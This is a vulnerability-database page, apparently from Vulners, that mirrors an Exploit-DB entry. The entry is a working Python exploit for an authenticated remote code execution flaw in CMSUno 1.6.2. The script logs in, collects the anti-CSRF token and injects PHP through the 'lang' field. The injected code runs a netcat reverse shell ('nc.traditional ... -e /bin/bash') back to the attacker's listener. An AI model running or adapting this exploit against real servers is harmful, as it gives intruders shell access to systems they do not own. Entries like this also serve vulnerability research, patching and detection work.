Lucene search
K

CMSUno 1.6.2 - 'lang' Remote Code Execution (Authenticated)

🗓️ 06 Nov 2020 00:00:00Reported by Fatih ÇelikType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 337 Views

CMSUno 1.6.2 'lang' Remote Code Executio

Code
# Exploit Title: CMSUno 1.6.2 - 'lang' Remote Code Execution (Authenticated)
# Google Dork: N/A
# Date: 2020.09.30
# Exploit Author: Fatih Çelik
# Vendor Homepage: https://github.com/boiteasite/cmsuno/
# Software Link: https://github.com/boiteasite/cmsuno/
# Blog: https://fatihhcelik.blogspot.com/2020/09/cmsuno-162-remote-code-execution_30.html
# Version: 1.6.2
# Tested on: Kali Linux 2020.2

import requests
from bs4 import BeautifulSoup
import lxml
import json

username = input("username: ")
password = input("password: ")
root_url = input("Root URL: http://192.168.1.9/cmsuno --> ")
listener_ip = input("Your ip: ")
listener_port = input("Your port for reverse shell: ")

login_url = root_url + "/uno.php"
vulnerable_url = root_url + "/uno/central.php"

session = requests.Session()
request = session.get(login_url)

# Get the unox value
soup = BeautifulSoup(request.text,"lxml")
unox = soup.find("input",{'name':'unox'})['value']

# Login 
body = {"unox":unox,"user":username,"pass":password}
session.post(login_url, data=body)

# Get the second unox value
request = session.get(login_url)
unox = soup.find("input",{'name':'unox'})['value']

# Exploit
header = {
"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
"User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0) Gecko/20100101 Firefox/80.0",
"Accept":"*/",
"Accept-Encoding": "gzip, deflate",
"X-Requested-With": "XMLHttpRequest",
"Origin": login_url,
"Connection": "close",
"Referer": login_url
}

payload = 'en";system(\'nc.traditional {} {} -e /bin/bash\');?>// '.format(listener_ip,listener_port)

while True:
    body = 'action=sauvePass&unox={}&user0=&pass0=&user=&pass=&lang={}'.format(unox,payload)
    session.post(vulnerable_url, data=(json.dumps(body)).replace("\\","")[1:-1],headers=header)
    request = session.get(login_url)
    text = request.text
    soup = BeautifulSoup(text,"lxml")
    script = soup.findAll('script')[1].string
    data = script.split("Unox='")[1]
    unox = data.split("',")[0]

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

06 Nov 2020 00:00Current
7.4High risk
Vulners AI Score7.4
337